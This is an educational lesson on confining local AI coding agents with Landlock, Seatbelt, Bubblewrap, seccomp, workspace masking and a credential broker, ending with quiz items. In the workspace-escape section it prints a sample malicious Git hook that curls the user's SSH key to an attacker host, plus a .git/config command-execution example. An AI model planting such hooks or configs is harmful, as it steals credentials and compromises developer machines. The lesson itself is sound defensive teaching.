Skip to content
Skip to lesson
Back to Topics
LearnAdvanced Agents & RetrievalLocal Agent Sandboxing: Seatbelt, Landlock & Workspace Boundaries
🤖HardLLM Agents & Tool Use

Local Agent Sandboxing: Seatbelt, Landlock & Workspace Boundaries

Run a coding agent on your laptop without handing it your whole user account. Learn how OS sandboxes, workspace boundaries, and secret brokering limit what it can reach.

18 min read
Learning path
Step 129 of 199 in the full curriculum

Personalize this lesson

Adapt explanations and teaching visuals to your background and preferred voice.

Suppose a coding agent on your laptop reads an issue, inspects local files, and runs tests to reproduce a bug. When it runs as an ordinary terminal command, it inherits your full user identity. It can read ~/.ssh/id_ed25519, inspect ~/.aws/credentials, probe internal corporate subnets, or read environment secrets.

Code Generation & Sandboxing used Docker, gVisor, and WebAssembly on servers. A laptop runner needs to read the working tree and invoke development tools while limiting which account resources those commands can reach. Host-native controls can build this boundary without a rootful container daemon.

Claude Code, Codex CLI, and Gemini CLI still need the model to read the project and run the build. They need that without a root daemon, and without letting a prompt injection read credentials or take over the workstation.

A trusted supervisor keeps credentials and configures the worker's access. On Linux, Landlock can restrict declared resource rights, Seccomp-BPF can filter system calls, and namespaces can narrow the worker's view. macOS uses different controls, including Seatbelt profiles. The filesystem policy must also protect files that host tools will execute later.

Two supplied local-worker policy sketches separate operating systems. On Linux, a supervisor starts a worker whose namespace view contains source files read-write, Git metadata and system tools read-only, and temporary scratch storage. Landlock handles declared path rights; seccomp filters system calls; Bubblewrap constructs namespaces. Host SSH and AWS files remain outside the granted view. On macOS, a custom Seatbelt profile permits the whole PROJECT_DIR and system reads, while sensitive home paths are denied. Git metadata inside that writable project is still writable in this profile. Neither sketch is an executed kernel-enforcement test.
Follow the writable regions. The Linux mount sketch separates source edits from Git metadata; the macOS profile shown later grants the whole project. Both need platform-specific validation before use.

Unprivileged containment with Linux Landlock

Linux Security Modules (LSMs) like SELinux and AppArmor historically required root privileges to configure. Linux 5.13 introduced Landlock, an unprivileged access-control subsystem.[1] A thread can restrict itself and its future children. Covering existing sibling threads requires supported thread synchronization.

Landlock checks file access when an object is opened. A descriptor opened before enforcement can retain its associated rights afterward, so close unnecessary inherited descriptors before untrusted work and keep sensitive handles outside the worker.[1]

A process configures Landlock through three kernel system calls:

  1. landlock_create_ruleset: Defines the categories of actions to govern (filesystem access, TCP networking, and process scoping).
  2. landlock_add_rule: Adds grants for file hierarchies or supported network ports. An O_PATH descriptor identifies a filesystem object; directory rules can cover its subtree.
  3. landlock_restrict_self: Enforces the ruleset on the calling thread. Once enforced, the restriction cannot be revoked or broadened.

For the unprivileged manual setup used here, set prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) before enforcement. ABI 11 also offers a restriction flag that sets no_new_privs when enforcement succeeds. ABI 8 added LANDLOCK_RESTRICT_SELF_TSYNC for existing threads.[1]

Landlock rights used in this example

Landlock adds capabilities through a versioned ABI. Query the kernel at runtime with landlock_create_ruleset(NULL, 0, LANDLOCK_CREATE_RULESET_VERSION), then build a policy using only the features it supports:

  • ABI v1 (Linux 5.13): Core filesystem rights, including file reads/writes, execution, directory enumeration, and object creation/removal.
  • ABI v2 (Linux 5.19): File referral and rename rights (LANDLOCK_ACCESS_FS_REFER).
  • ABI v3 (Linux 6.2): File truncation rights (LANDLOCK_ACCESS_FS_TRUNCATE).
  • ABI v4 (Linux 6.7): TCP network access control (LANDLOCK_ACCESS_NET_BIND_TCP and LANDLOCK_ACCESS_NET_CONNECT_TCP).
  • ABI v5 (Linux 6.10): Device ioctl controls (LANDLOCK_ACCESS_FS_IOCTL_DEV).
  • ABI v6 (Linux 6.12): Process scoping controls (LANDLOCK_SCOPE_ABSTRACT_UNIX_SOCKET and LANDLOCK_SCOPE_SIGNAL) for abstract sockets and signals across the Landlock domain boundary.

This subset stops at ABI 6. Probe the running kernel and handle unavailable rights explicitly. The following setup fragment assumes a successful probe and ABI 3 or newer. It creates a ruleset descriptor; adding grants, handling failures, and enforcing the policy still remain.

landlock_policy.c
// Probe available ABI version
int abi = syscall(__NR_landlock_create_ruleset, NULL, 0, LANDLOCK_CREATE_RULESET_VERSION);

struct landlock_ruleset_attr attr = {
    .handled_access_fs = LANDLOCK_ACCESS_FS_READ_FILE |
                         LANDLOCK_ACCESS_FS_WRITE_FILE |
                         LANDLOCK_ACCESS_FS_EXECUTE |
                         LANDLOCK_ACCESS_FS_READ_DIR |
                         LANDLOCK_ACCESS_FS_TRUNCATE,
    .handled_access_net = (abi >= 4) ? (LANDLOCK_ACCESS_NET_CONNECT_TCP | LANDLOCK_ACCESS_NET_BIND_TCP) : 0,
    .scoped = (abi >= 6) ? (LANDLOCK_SCOPE_SIGNAL | LANDLOCK_SCOPE_ABSTRACT_UNIX_SOCKET) : 0,
};

int ruleset_fd = syscall(__NR_landlock_create_ruleset, &attr, sizeof(attr), 0);
Landlock Access FlagEnforced OperationTypical Local Agent Assignment
LANDLOCK_ACCESS_FS_READ_FILEOpen existing files for readingGranted to system libraries, tools, and project workspace
LANDLOCK_ACCESS_FS_READ_DIREnumerate directory entriesGranted to system paths and project workspace
LANDLOCK_ACCESS_FS_WRITE_FILEWrite to existing filesGranted strictly to workspace src/ and output directories
LANDLOCK_ACCESS_FS_TRUNCATETruncate a fileGoverned separately from writes on ABI 3 or newer
LANDLOCK_ACCESS_FS_MAKE_REGCreate regular filesGranted strictly to workspace scratch locations
LANDLOCK_ACCESS_FS_EXECUTEExecute binary programs or scriptsGranted to /usr, /bin, and virtualenv binaries
LANDLOCK_ACCESS_FS_REFERLink or rename across directoriesRestricted to prevent moving files outside sandbox paths
LANDLOCK_ACCESS_NET_CONNECT_TCPConnect to outbound TCP portsDenied inside worker; outbound requests routed to supervisor
LANDLOCK_SCOPE_SIGNALSend signals (kill/term) to processesRestricted to sandbox-internal process tree

The subtree boundary is useful on a developer machine: granting read-write access to /home/dev/project does not also grant access to /home/dev/.ssh or /home/dev/.bashrc, even though they share the /home/dev parent directory. That rule is Landlock on Linux. A Mac laptop needs a different kernel control for the same deny.

macOS Seatbelt and Sandbox Profiles

On macOS, a CLI runner can use a custom Seatbelt profile, as Chromium's implementation demonstrates.[2] Apple's supported App Sandbox model describes app resources through entitlements.[3] A custom CLI profile needs its own compatibility and enforcement checks on the target macOS release.

These C and Scheme fragments show a parameterized profile design. They are unexecuted integration fragments: a wrapper must supply profile_string, handle startup failures, and validate the resulting restrictions. All four path parameters used by the profile appear below:

seatbelt_init.c
#include <sandbox.h>

// Initialize Seatbelt programmatically with path parameters
const char *params[] = {
    "PROJECT_DIR", "/Users/dev/workspace",
    "TARGET_HOME_SSH", "/Users/dev/.ssh",
    "TARGET_HOME_AWS", "/Users/dev/.aws",
    "TARGET_HOME_KEYCHAIN", "/Users/dev/Library/Keychains",
    NULL
};

char *error = NULL;
if (sandbox_init_with_parameters(profile_string, 0, params, &error) != 0) {
    fprintf(stderr, "Sandbox initialization failed: %s\n", error);
    sandbox_free_error(error);
    exit(1);
}

The profile starts with default deny, then grants selected operations. Its whole-project write grant also includes .git; protecting that metadata requires a narrower policy.

agent-sandbox.sb
;; Declare version and default-deny policy
(version 1)
(deny default)

;; Permit process execution for approved binaries
(allow process-exec
    (literal "/bin/sh")
    (literal "/bin/bash")
    (literal "/usr/bin/git")
    (literal "/usr/bin/python3")
    (subpath "/usr/bin")
    (subpath "/usr/local/bin"))

;; Allow read-only access to standard system libraries and runtimes
(allow file-read*
    (subpath "/usr")
    (subpath "/lib")
    (subpath "/System")
    (subpath "/Library/Developer"))

;; Explicitly deny sensitive developer directories
(deny file-read* file-write*
    (subpath (param "TARGET_HOME_SSH"))
    (subpath (param "TARGET_HOME_AWS"))
    (subpath (param "TARGET_HOME_KEYCHAIN")))

;; Permit read and write only within the designated project root
(allow file-read* file-write*
    (subpath (param "PROJECT_DIR")))

;; Permit standard process IPC and terminal descriptors
(allow file-read* file-write*
    (literal "/dev/null")
    (literal "/dev/zero")
    (literal "/dev/urandom")
    (literal "/dev/tty"))

;; Deny arbitrary network access
(deny network*)

Passing parameters allows the supervisor to bind path variables dynamically at startup.

Filesystem rules and service-lookup rules govern different resources. A mach-lookup denial restricts lookup of the selected service; test the required IPC paths on the target system. The profile above illustrates filesystem and network rules. A writable repository still contains inputs that host tools may execute later.

The workspace escape: securing repository internals

A rule that allows writes anywhere under /path/to/project also permits changes to files that run later, outside the sandbox, as you.

If an untrusted agent can write to any path inside the workspace, it can compromise the developer workstation through multiple vectors:

1. The .git/hooks/ execution trap

Git repositories contain a .git/hooks/ directory with client-side triggers such as post-checkout, pre-commit, and post-merge.[4]

If the agent writes an executable shell script into .git/hooks/post-checkout:

malicious_post_checkout.sh
#!/bin/sh
curl -s http://attacker.internal/exfil?d=$(cat ~/.ssh/id_ed25519 | base64)

With the default hooks directory and executable bit set, a later host git checkout main can invoke that hook after updating the worktree.[4] It runs under the account that invoked Git. A normal tracked-file diff may never show the planted repository metadata.

A causal comparison follows the same repository hook after a worker exits, starting with trusted Git metadata. With the whole repository writable, the worker can plant an executable .git/hooks/post-checkout. The file survives worker exit; a later host git checkout main invokes that hook under the host account. With Git metadata protected, that planting write is denied and the trusted initial hook directory stays unchanged. Existing hooks require separate inspection. The lower path-policy simulation allows src/app.py and denies ../.ssh/authorized_keys, .git/hooks/post-checkout, .git/config and .vscode/tasks.json. The simulation exercises path decisions only; no hook or kernel sandbox is executed.
The file outlives the worker. This comparison starts with trusted Git metadata: blocking the planting write keeps the trusted hook directory unchanged. Inspect existing hooks and configuration before starting the worker. The lower rows report path-policy simulation decisions.

2. The .git/config command execution trap

The repository configuration file .git/config supports command directives:

.git/config
[core]
    fsmonitor = /path/to/malicious/script.sh
[diff "custom"]
    command = /path/to/malicious/script.sh

An operation that uses the configured filesystem monitor or enabled external diff can execute the selected command under the host account. The trigger depends on the operation and configuration.

3. IDE and build task configurations

Editors and developer tools consume repository configuration under their own trust settings:

  • .vscode/tasks.json can request a "runOn": "folderOpen" task. Workspace trust and automatic-task approval affect whether it runs.
  • .idea/ and .devcontainer/ configurations can request container or script launches when the corresponding feature is used.
  • .pre-commit-config.yaml is consumed by configured pre-commit hooks; an approved .envrc can run when direnv loads the directory.

The defense: workspace masking

A secure local sandbox must enforce workspace masking:

  1. Isolate or mount .git read-only: The supervisor separates the working tree from repository metadata. Landlock grants are additive within a layer: a broad writable parent grant also covers its descendants. Grant writes to selected source subtrees, or use an independently restrictive layer or mount arrangement. An environment variable alone doesn't revoke filesystem access.
  2. Deny hidden configuration files: Restrict writes targeting dotfiles (.*), specifically .git*, .vscode*, .env*, and .pre-commit*.
  3. Audit diffs before host interaction: Verify that candidate changes affect only intended source directories (e.g., src/, tests/) before letting host tools touch the repository.

Syscall filtering with Seccomp-BPF

Filesystem restrictions help keep credentials off limits. A worker can still try other routes, such as attacking a sibling process or reaching the kernel through raw system calls.

Linux Seccomp-BPF (Secure Computing with Berkeley Packet Filter) allows a process to attach a custom filter program that inspects every system call and its arguments.[5]

Choose a syscall policy for the worker's runtime and threat model. Common restrictions include:

  • ptrace: Prevents inspecting, pausing, or modifying memory of sibling or parent processes.
  • bpf: Blocks loading kernel BPF bytecode or probing kernel tracing points.
  • chroot: Blocks attempts to change the process root directory through this call.
  • keyctl: Prevents querying kernel session keyrings.
  • socket(AF_PACKET, ...) and socket(AF_NETLINK, ...): Prevents sniffing raw network packets or altering routing tables.

Bubblewrap (bwrap) constructs a restricted namespace and mount view. Seccomp supplies a complementary syscall filter.[6][5] The illustrative command below mounts source separately from metadata. It does not load a seccomp program; that needs an explicit filter descriptor and --seccomp or the corresponding supported option.

bubblewrap-sandbox.sh
bwrap \
  --ro-bind /usr /usr \
  --ro-bind /lib /lib \
  --ro-bind /bin /bin \
  --tmpfs /tmp \
  --proc /proc \
  --dev /dev \
  --bind /path/to/repo/src /app/src \
  --ro-bind /path/to/repo/.git /app/.git \
  --unshare-all \
  --new-session \
  --die-with-parent \
  python3 -m unittest discover /app/src

Key flags in this configuration:

  • --ro-bind /path/to/repo/.git /app/.git: This mount rejects metadata writes. Review other writable inputs that host tools may consume.
  • --unshare-all: Isolates mount, PID, IPC, and network namespaces.
  • --die-with-parent: Kills the sandboxed command when bwrap's parent dies. Verify teardown and resource cleanup separately.

Secret-zero containment via Unix domain sockets

Agents often need to interact with external services, such as checking CI status or fetching issue metadata. Injecting GITHUB_TOKEN into worker environment variables creates an immediate leak vector: untrusted code can read os.environ["GITHUB_TOKEN"] and output it to stdout or build logs.

In a secret-zero architecture, no credentials enter the sandbox:

For this constructed trace, the host accepts only GET /repos/owner/repo/pulls/42 and fixes the upstream origin itself. POST, DELETE, or another repository stop before dispatch. A supplied adversarial reply contains number: 42, state: "open", and an extra debug_token: "TEST-ONLY" field. The broker returns only the two approved fields. These are local policy-fixture values; no remote service or real credential is used.

A supplied credential-broker trace keeps the worker above a Unix-socket boundary and the trusted supervisor below it. The worker requests GET /repos/owner/repo/pulls/42. The host admits that fixed method and repository, attaches its token only to the outgoing upstream request, and selects number 42 and state open from an adversarial supplied reply. An extra debug_token field is removed before the selected JSON returns to the worker. POST, DELETE, and a request for another repository receive 403 before upstream dispatch. The host fixes the upstream origin. This is a constructed policy trace with no network or credential access.
Trace the request down the left lane and the selected reply up the right. The host owns the upstream origin and attaches credentials after admission. Field selection removes the supplied extra reply field before data reaches the worker.

The sandboxed process connects to a local Unix domain socket mounted into its environment. The supervisor validates:

  1. Is the HTTP method allowed (GET permitted; DELETE or POST rejected)?
  2. Does the requested URL match the approved repository scope?
  3. Are returned response fields sanitized to avoid reflecting secrets?

Keeping the token outside the worker removes that direct source of credential leakage. Restrict returned fields and reachable services too: an authorized API response can itself contain sensitive data.

Executable path-policy simulation

The Python script below evaluates five proposed paths against a supplied workspace policy. It calls no Landlock syscall and enforces no OS sandbox. Its unused ctypes import and constants do not change that scope. Resolve-and-compare checks help explain the intended policy; secure file opening also needs protection against filesystem changes between a check and a use.

local_landlock_sandbox.py
import os
import sys
import ctypes
import tempfile
from pathlib import Path

# Landlock ABI constants (Linux 5.13+)
LANDLOCK_CREATE_RULESET_VERSION = (1 << 0)
LANDLOCK_RULE_PATH_BENEATH = 1

# Filesystem access rights
ACCESS_FS_READ = (
    (1 << 0) |  # EXECUTE
    (1 << 1) |  # WRITE_FILE
    (1 << 2) |  # READ_FILE
    (1 << 3) |  # READ_DIR
    (1 << 5)    # REMOVE_FILE
)
ACCESS_FS_WRITE = (1 << 1) | (1 << 5)

class PathValidator:
    """Evaluates workspace boundaries and denies dangerous repository hooks."""
    def __init__(self, workspace_root: Path):
        self.workspace_root = workspace_root.resolve()
        self.denied_subpaths = {
            self.workspace_root / ".git" / "hooks",
            self.workspace_root / ".git" / "config",
            self.workspace_root / ".vscode",
            self.workspace_root / ".env",
        }

    def can_write(self, target_path: Path) -> bool:
        resolved = target_path.resolve()
        # Must be within workspace
        try:
            resolved.relative_to(self.workspace_root)
        except ValueError:
            return False  # Path traversal attempt outside workspace

        # Must not be inside any protected configuration target
        for denied in self.denied_subpaths:
            if resolved == denied or denied in resolved.parents:
                return False
        return True

# Build a test workspace fixture
with tempfile.TemporaryDirectory() as temp_dir:
    root = Path(temp_dir)
    src_dir = root / "src"
    git_hooks_dir = root / ".git" / "hooks"
    vscode_dir = root / ".vscode"
    
    src_dir.mkdir(parents=True)
    git_hooks_dir.mkdir(parents=True)
    vscode_dir.mkdir(parents=True)

    validator = PathValidator(root)

    # 1. Standard source file edit -> Allowed
    valid_source = src_dir / "app.py"
    assert validator.can_write(valid_source) is True

    # 2. Path traversal attack -> Denied
    traversal_attack = root / ".." / ".ssh" / "authorized_keys"
    assert validator.can_write(traversal_attack) is False

    # 3. .git/hooks execution trap -> Denied
    hook_attack = git_hooks_dir / "post-checkout"
    assert validator.can_write(hook_attack) is False

    # 4. .git/config execution trap -> Denied
    config_attack = root / ".git" / "config"
    assert validator.can_write(config_attack) is False

    # 5. IDE task execution trap -> Denied
    ide_task_attack = vscode_dir / "tasks.json"
    assert validator.can_write(ide_task_attack) is False

    print("Policy checks passed:")
    print(" - Allowed write to src/app.py:", validator.can_write(valid_source))
    print(" - Blocked traversal to .ssh:", not validator.can_write(traversal_attack))
    print(" - Blocked write to .git/hooks/post-checkout:", not validator.can_write(hook_attack))
    print(" - Blocked write to .vscode/tasks.json:", not validator.can_write(ide_task_attack))
Output
Policy checks passed:
 - Allowed write to src/app.py: True
 - Blocked traversal to .ssh: True
 - Blocked write to .git/hooks/post-checkout: True
 - Blocked write to .vscode/tasks.json: True

The assertions confirm five path decisions, including .git/config. Four appear in stdout. No file write, malicious hook, Landlock policy, or macOS profile is exercised by these checks.

The tree exposes the exact protected targets. A write to a descendant of .git/hooks or .vscode is denied; .git/config and .env are separate targets. The .git directory itself passes this helper, and .env.local is outside its exact denied set. A real filesystem boundary must govern the required operations, including changes between a path check and file use.

The path-policy fixture root is one child of a temporary parent directory. Inside it, src/app.py is allowed. The .git directory is an ordinary ancestor; its hooks subtree and config file are protected separately. The .vscode subtree protects tasks.json. The .env target is configured but absent from the original five assertions. A red route leaves the fixture root through dot-dot and reaches the sibling .ssh/authorized_keys, so the within-root check rejects it. The .git/config result is asserted but absent from the original stdout. This tree explains resolved-path decisions, without asserting real filesystem enforcement or complete protection of all hidden configuration files.
Follow each target through its ancestors. The red route leaves the permitted root before reaching the sibling SSH path. All five original cases are asserted; `.git/config` is absent from stdout, and `.env` is configured without an original assertion.

Follow-up questions

How can an agent install third-party dependencies (e.g., pip packages) if network access is disabled inside the worker?

The supervisor handles dependency resolution outside the untrusted worker or proxies downloads through a local caching server. The supervisor prefetches wheels, validates their cryptographic hashes against lockfiles, and mounts the package directory read-only into the worker environment. This prevents the worker from downloading arbitrary unverified remote code during execution.

What happens if the local developer machine runs an older Linux kernel (e.g. 5.10) where Landlock is unavailable?

Probe Landlock support at startup and inspect failures: ENOSYS can indicate an unavailable syscall; disabled support can return EOPNOTSUPP. Choose an alternative only if its configured controls meet the task's required filesystem, process, and network policy. Seccomp alone filters syscalls without supplying that complete containment. Stop when a required boundary is unavailable.

What strong answers show

  • Clear distinction between unprivileged OS sandboxing (Landlock, Seatbelt, Bubblewrap) and rootful container systems (Docker).
  • Awareness of workspace jailbreak vectors beyond path traversal, specifically .git/hooks, .git/config, shell dotfiles, and IDE auto-execution configs.
  • Knowledge of the modern Landlock ABI evolution, including network socket restrictions (ABI v4) and signal scoping (ABI v6).
  • Implementation of secret-zero token brokering via host Unix domain sockets with granular request authorization.

Check your understanding

Helper scope and configured-filter practice.

Complete the lesson

Mastery Check

Answer every question, then check your score. Score 75% or higher to mark this lesson complete.

1.A worker must prevent file truncation as well as ordinary writes. The runtime probe reports that its available Landlock ABI cannot govern truncation, and no alternative boundary has been verified. What should its launcher do?
2.Before applying a filesystem policy, a supervisor opens a secret file and accidentally passes that descriptor to the worker. The policy denies a fresh open of the secret path. Which assessment follows?
3.One Landlock layer grants writes beneath /repo. A second rule in that same layer grants only reads beneath /repo/.git. What happens to the parent-derived metadata write grant?
4.A policy permits writes only below /project/src. The directory link /project/src/cache points to /vault/keys. Resolve /project/src/cache/../report under the illustrated component-wise model. Which result is correct?
5.A worker writes an editor folder-open task and exits. Later the host opens the workspace and approves that task under its trust policy. Which lifecycle description is correct?
6.A supplied syscall filter admits openat. Filesystem policy denies the requested private-key resource. In the order syscall decision, resource decision, final operation, which result follows?
7.A broker policy admits only GET for /repos/team/widget/pulls/7 at a host-fixed origin and returns only number and state. A worker changes that request to POST. Which result follows?
8.A supplied Mac profile denies direct SSH-directory reads but permits writes anywhere in the project, including .git. A later unrestricted host Git command can consume a planted executable hook. Which repair addresses that gap?
9.A supervisor has two existing threads. Only thread A applies a self-restriction without a supported thread-synchronization flag, then launches a new child. Which coverage claim is warranted?
10.A supervisor verifies a wheel’s hash against an approved lockfile and mounts the package store read-only. The wheel’s code will run during tests. Which interpretation is correct?

10 questions remaining.

Discussion

Questions and insights from fellow learners.

Discussion loads when you reach this section.